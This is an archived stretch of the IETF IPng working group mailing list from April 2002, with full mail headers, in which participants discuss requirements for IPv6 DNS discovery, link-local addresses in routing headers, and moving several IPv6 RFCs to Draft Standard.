>For this requirement, Server-less is defined to = mean the DNS information
>is learned with out any dependence on resources = other than are needed
>(i.e., links, interfaces, routers, and DNS = server) to communicate with the
>DNS server.
>
>IPv6 DNS Discovery should work inside of a = single site where the DNS
>servers are in the site and between sites where = the DNS servers and hosts
>are located in different sites (e.g., small home = office where DNS servers
>are in the ISP's network).
>
>It is also desirable to learn other related DNS = information such as
>default DNS for the IPv6 host, search path, = LLMNR enabled flag, etc. in a
>server-less manner.
>
>Desirable aspects of a solution the meets these = requirements include:
>
>   - Minimal changes to existing = implementations
>   - A solution that could be = standardized in a short amount of time.
>   - Minimal use of bandwidth
>
>
>References
>
>[DHCPv6]  J. Bound, et. al., Dynamic Host = Configuration Protocol for IPv6
>          = ; (DHCPv6), Internet Draft, = <draft-ietf-dhc-dhcpv6-23.txt>,
>          = ; February 2002.
>
>[RFC2461] T. Narten, et. al., Neighbor Discovery = for IP Version 6 (IPv6),
>          = ; RFC2461, December 1998.
>
>[RFC2462] S. Thomson, et. al., IPv6 Stateless = Address Autoconfiguration,
>          = ; RFC2462, December 1998.
>
>
>
>
>
>-----------------------------------------------------------= ---------
>IETF IPng Working Group Mailing List
>IPng Home = Page:           &= nbsp;          http://playground.sun.com/ipng
>FTP = archive:          &nbs= p;           ftp://playground.sun.com/pub/ipng
>Direct all administrative requests to = majordomo@sunroof.eng.sun.com
>-----------------------------------------------------------= ---------

---------------------------------------------------------------= -----
IETF IPng Working Group Mailing List
IPng Home = Page:           &= nbsp;          http://playground.sun.com/ipng
FTP = archive:          &nbs= p;           ftp://playground.sun.com/pub/ipng
Direct all administrative requests to = majordomo@sunroof.eng.sun.com
---------------------------------------------------------------= -----

------_=_NextPart_001_01C1EAA3.3D12D260-- ------=_NextPartTM-000-92c9aa1d-55fa-11d6-b1ea-00508b69ab48-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 01:00:38 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3O80bGs016549; Wed, 24 Apr 2002 01:00:38 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3O80bX1016548; Wed, 24 Apr 2002 01:00:37 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3O80YGs016541 for ; Wed, 24 Apr 2002 01:00:34 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA16423 for ; Wed, 24 Apr 2002 01:00:34 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA17764 for ; Wed, 24 Apr 2002 02:00:33 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3O7xS0E008961 for ; Wed, 24 Apr 2002 09:59:32 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Wed Apr 24 09:58:42 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBT45JH>; Wed, 24 Apr 2002 09:58:42 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACB3@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Thomas Narten'" , "Hesham Soliman (ERA)" Cc: "'ipng@sunroof.eng.sun.com'" Subject: RE: Stateless DNS discovery draft Date: Wed, 24 Apr 2002 09:58:38 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Late reply, sorry, I've been away. > > => I understand. Perhaps stateful is used to refer > > to the fact that they keep a record of the DNS > > address. But I agree that it is not really accurate. > > Do DHC servers do that? Are they *required* too? And if they do, so > what? I.e., DHC servers can easily be configured to say "all clients > should use DNS server XXX". I.e., they give the same config > information to everyone. Is this explicitely recorded on a > per-client > basis? I don't know that it is or needs to be or why that matters. => I wasn't suggesting that they keep records per device. But that it simply keeps records. > > > => Ok, I should say that the functionality I'd like > > to see is the ability to discover a DNS without > > relying on functional entities other than the > > DNS. (not necessarily the entire node, but the > > server itself, I think the term server is very > > clear and does not imply an entire node). > > Why? => For maximum reliability and minimal cost. Having a third entity (with the associated management and reliability needs) will add cost (human and financial). Having another process on the same node doesn't necessarily mean that you can reach the DNS process of course. > > I.e. When I'm running a network with a million user > devices in it, I > > can either spend money to make sure that my DHCP server is super > > reliable or, make sure that, at least the very basic functions of > > the server, are done e2e. That is, between the end host > and the DNS. > > I seriously have to wonder whether one can have a network with a > million users on it that *doesn't* have the need to > configure services > other than DNS and that won't be needing to run DHC. => Yes, that's a valid question. But since the DNS is vital for any communication people are likely to rely on it to discover proxies and other basic servers. > > > => Exactly, but propagating information across > > routers is _the_ issue here. People were not > > comfortable with relying on multicast routing. > > Well, if it is a requirement that any DNS discovery > solution NOT rely > on multicast, I think the WG needs to have that discussion and make > it a requirement of the problem. There has been only limited > discussion on this point so far. => We tried to document this in the DNS discovery analysis draft. Perhaps additional text is needed. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 02:57:38 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3O9vcGs017133; Wed, 24 Apr 2002 02:57:38 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3O9vcZt017132; Wed, 24 Apr 2002 02:57:38 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3O9vYGs017125 for ; Wed, 24 Apr 2002 02:57:34 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA17427 for ; Wed, 24 Apr 2002 02:57:36 -0700 (PDT) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA20466 for ; Wed, 24 Apr 2002 03:57:35 -0600 (MDT) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id g3O9vRB26811; Wed, 24 Apr 2002 11:57:27 +0200 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id LAA09158; Wed, 24 Apr 2002 11:57:28 +0200 (MET DST) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id g3O9vRT68920; Wed, 24 Apr 2002 11:57:27 +0200 (CEST) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200204240957.g3O9vRT68920@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: scoping-arch and link-local addresses in RH In-reply-to: Your message of Tue, 23 Apr 2002 23:44:04 +0300. Date: Wed, 24 Apr 2002 11:57:27 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > ==> Security considerations should mention potential problems of crossing > zone boundaries w/ routing headers. > > => as the rules forbid this there is no need for extra considerations. This would appear to be in conflict what it says in the draft: Thus, it is possible, though generally inadvisable, to use a Routing Header to convey a non-global address across its associated zone boundary. or is there some nuance I'm missing? => perhaps you don't understand the draft remark: the idea is there may be a non-global address in previous destinations which is outside of the current zone. I believe this is no security issue or utility for this feature. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 06:10:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3ODAiGs017784; Wed, 24 Apr 2002 06:10:44 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3ODAi4F017783; Wed, 24 Apr 2002 06:10:44 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3ODAfGs017776 for ; Wed, 24 Apr 2002 06:10:41 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA01913 for ; Wed, 24 Apr 2002 06:10:42 -0700 (PDT) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA20214 for ; Wed, 24 Apr 2002 07:10:42 -0600 (MDT) Received: from rdroms-w2k.cisco.com (ch2-dhcp150-93.cisco.com [161.44.150.93]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA11224 for ; Wed, 24 Apr 2002 09:10:41 -0400 (EDT) Message-Id: <4.3.2.7.2.20020424090429.03827248@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 24 Apr 2002 09:10:37 -0400 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <200204232035.g3NKZKe21786@astro.cs.utk.edu> References: <(Your message of "Tue, 23 Apr 2002 10:02:37 EDT.") <4.3.2.7.2.20020423093726.00b5a6b0@funnel.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Keith, At 04:35 PM 4/23/2002 -0400, Keith Moore wrote: > > 3. If interpreted as absolute, binary requirements, 7 and 8 are > > quite likely fantasies. I intend 7 and 8 to be goals that proposed > > solutions can be measured against. > >I guess I don't see this as a very useful yardstick because >'no additional protocol definition' is too vague. Yeah ... after rereading my original draft list of requirements, it seems to me that the goals of requirements 7 and 8 are, in fact, the same as requirement 9 (see below). We don't care about new protocol design and implementation, per se, what we're really interested in is minimal time to deployment. If that seems correct, I'll delete 7 and 8 from my draft list... (from original list of requirements) > > 7. Definition of DNS configuration requires no additional > > protocol definition > > 8. Implementation of DNS configuration requires no additional protocol > > implementation > > 9. Time to initial deployment is minimal - Ralph -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 10:50:45 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OHojGs022297; Wed, 24 Apr 2002 10:50:45 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3OHojEk022296; Wed, 24 Apr 2002 10:50:45 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OHoeGs022278 for ; Wed, 24 Apr 2002 10:50:40 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA02650 for ; Wed, 24 Apr 2002 10:50:40 -0700 (PDT) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA27331 for ; Wed, 24 Apr 2002 11:50:38 -0600 (MDT) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g3OHoWe13965; Wed, 24 Apr 2002 13:50:32 -0400 (EDT) Message-Id: <200204241750.g3OHoWe13965@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Ralph Droms cc: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-reply-to: (Your message of "Wed, 24 Apr 2002 09:10:37 EDT.") <4.3.2.7.2.20020424090429.03827248@funnel.cisco.com> Date: Wed, 24 Apr 2002 13:50:32 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > We don't care about new protocol design and > implementation, per se, what we're really interested > in is minimal time to deployment. yes, I think it's much clearer if you say just that. Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 13:26:29 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OKQSGs006134; Wed, 24 Apr 2002 13:26:28 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3OKQS1k006133; Wed, 24 Apr 2002 13:26:28 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OKQOGs006126 for ; Wed, 24 Apr 2002 13:26:24 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA23880 for ; Wed, 24 Apr 2002 13:26:25 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA05167 for ; Wed, 24 Apr 2002 14:26:25 -0600 (MDT) Received: from kenawang ([128.224.4.101]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id NAA09383 for ; Wed, 24 Apr 2002 13:25:34 -0700 (PDT) Message-Id: <4.2.2.20020424161105.01f56430@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 24 Apr 2002 16:26:39 -0400 To: ipng@sunroof.eng.sun.com From: Margaret Wasserman Subject: Documents Ready for DS Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The chairs have identified several IPv6 documents that should be ready to move from Proposed Standard to Draft Standard. This process is already underway for: RFC2373: IPv6 Addressing Architecture (as updated by draft-ietf-ipngwg-addr-arch-v3-07.txt) We would also like to start the process for the following documents: RFC1886: DNS Extensions for IPv6 RFC2464: IPv6 over Ethernet RFC2467: IPv6 over FDDI RFC2470: IPv6 over Token Ring RFC2473: Generic Packet Tunneling in IPv6 Specification RFC2710: MLD for IPv6 RFC2526: Reserved IPv6 Subnet Anycast Addr These documents have all been stable for over 2 years, and there should be multiple implementations of each of them. Does anyone know of any reason why any of these documents should not be advanced? Any updates in progress? Any serious technical flaws that should be corrected before they are advanced? If there are no objections from the list, we will begin the process of gathering implementation reports to advance these documents. Thanks, Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 13:35:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OKZtGs006218; Wed, 24 Apr 2002 13:35:56 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3OKZtjO006217; Wed, 24 Apr 2002 13:35:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OKZqGs006210 for ; Wed, 24 Apr 2002 13:35:52 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA28903 for ; Wed, 24 Apr 2002 13:35:54 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA21848 for ; Wed, 24 Apr 2002 14:35:51 -0600 (MDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g3OKZc729602; Wed, 24 Apr 2002 23:35:39 +0300 Date: Wed, 24 Apr 2002 23:35:38 +0300 (EEST) From: Pekka Savola To: Margaret Wasserman cc: ipng@sunroof.eng.sun.com Subject: Re: Documents Ready for DS In-Reply-To: <4.2.2.20020424161105.01f56430@mail.windriver.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 24 Apr 2002, Margaret Wasserman wrote: > RFC2467: IPv6 over FDDI > RFC2470: IPv6 over Token Ring [...] > These documents have all been stable for over 2 years, and there should > be multiple implementations of each of them. Actually, I'm not sure if there are all that many implementations of these... -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 14:02:06 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OL26Gs007455; Wed, 24 Apr 2002 14:02:06 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3OL25OB007454; Wed, 24 Apr 2002 14:02:05 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from jurassic.eng.sun.com (jurassic [129.146.81.36] (may be forged)) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OL21Gs007444 for ; Wed, 24 Apr 2002 14:02:01 -0700 (PDT) Received: from sun.com (sappey.Eng.Sun.COM [129.146.85.69]) by jurassic.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3OL21Jd003057; Wed, 24 Apr 2002 14:02:01 -0700 (PDT) Message-ID: <3CC71D24.607F977E@sun.com> Date: Wed, 24 Apr 2002 14:01:24 -0700 From: Alain Durand X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.8 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Margaret Wasserman , randy@psg.com, " =?iso-8859-15?Q?=D3lafur=20Gu=F0mundsson?=" CC: ipng@sunroof.eng.sun.com Subject: Re: Documents Ready for DS References: <4.2.2.20020424161105.01f56430@mail.windriver.com> Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > The chairs have identified several IPv6 documents that should be ready to move from Proposed > Standard to Draft Standard. > We would also like to start the process for the following documents: > > RFC1886: DNS Extensions for IPv6 It was my understanding after London IETF that this document belonged to the DNSext wg. Randy, Olafur? - Alain. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 14:05:26 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OL5QGs007920; Wed, 24 Apr 2002 14:05:26 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3OL5OZO007917; Wed, 24 Apr 2002 14:05:24 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OL5JGs007902 for ; Wed, 24 Apr 2002 14:05:19 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA23051 for ; Wed, 24 Apr 2002 14:05:19 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA23708; Wed, 24 Apr 2002 14:05:19 -0700 (PDT) Received: from kenawang ([128.224.4.101]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id OAA05675; Wed, 24 Apr 2002 14:04:22 -0700 (PDT) Message-Id: <4.2.2.20020424170438.01f489f0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 24 Apr 2002 17:06:47 -0400 To: Alain Durand From: Margaret Wasserman Subject: Re: Documents Ready for DS Cc: randy@psg.com, Olafur , ipng@sunroof.eng.sun.com In-Reply-To: <3CC71D24.607F977E@sun.com> References: <4.2.2.20020424161105.01f56430@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi All, > > RFC1886: DNS Extensions for IPv6 > >It was my understanding after London IETF that this document belonged to >the DNSext wg. > >Randy, Olafur? Just to be clear -- this is the AAAA document, not the A6 document. If it now belongs to DNSext, do they have plans to advance it? We are trying to get all of the basic IPv6 specs advanced to DS as soon as possible, and this would clearly qualify. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 14:27:37 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OLRaGs010505; Wed, 24 Apr 2002 14:27:36 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3OLRavj010504; Wed, 24 Apr 2002 14:27:36 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from jurassic.eng.sun.com (jurassic [129.146.82.37] (may be forged)) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OLRVGs010486 for ; Wed, 24 Apr 2002 14:27:31 -0700 (PDT) Received: from sun.com (sappey.Eng.Sun.COM [129.146.85.69]) by jurassic.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3OLRVJd009622; Wed, 24 Apr 2002 14:27:31 -0700 (PDT) Message-ID: <3CC7231F.916FF262@sun.com> Date: Wed, 24 Apr 2002 14:26:55 -0700 From: Alain Durand X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.8 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Margaret Wasserman CC: randy@psg.com, Olafur , ipng@sunroof.eng.sun.com Subject: Re: Documents Ready for DS References: <4.2.2.20020424161105.01f56430@mail.windriver.com> <4.2.2.20020424170438.01f489f0@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > Hi All, > > > > RFC1886: DNS Extensions for IPv6 > > > >It was my understanding after London IETF that this document belonged to > >the DNSext wg. > > > >Randy, Olafur? > > Just to be clear -- this is the AAAA document, not the A6 document. You're correct. > If it now belongs to DNSext, do they have plans to advance it? We are trying to > get all of the basic IPv6 specs advanced to DS as soon as possible, and this > would clearly qualify. There is a group of people working on an interoperability report. - Alain. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 14:47:06 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OLl6Gs012916; Wed, 24 Apr 2002 14:47:06 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3OLl6I7012915; Wed, 24 Apr 2002 14:47:06 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OLl2Gs012908 for ; Wed, 24 Apr 2002 14:47:02 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA06434 for ; Wed, 24 Apr 2002 14:47:02 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA19135 for ; Wed, 24 Apr 2002 15:46:57 -0600 (MDT) Received: from kenawang ([128.224.4.101]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id OAA10145; Wed, 24 Apr 2002 14:45:49 -0700 (PDT) Message-Id: <4.2.2.20020424174706.01f61e70@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 24 Apr 2002 17:48:15 -0400 To: Alain Durand From: Margaret Wasserman Subject: Re: Documents Ready for DS Cc: randy@psg.com, Olafur , ipng@sunroof.eng.sun.com In-Reply-To: <3CC7231F.916FF262@sun.com> References: <4.2.2.20020424161105.01f56430@mail.windriver.com> <4.2.2.20020424170438.01f489f0@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Alain Durand writes: > > If it now belongs to DNSext, do they have plans to advance it? We are trying to > > get all of the basic IPv6 specs advanced to DS as soon as possible, and this > > would clearly qualify. > >There is a group of people working on an interoperability report. Great! If we can get confirmation that this document belongs to DNSext, I will remove it from the IPv6 list. Thanks, Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 15:28:21 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OMSLGs015099; Wed, 24 Apr 2002 15:28:21 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com 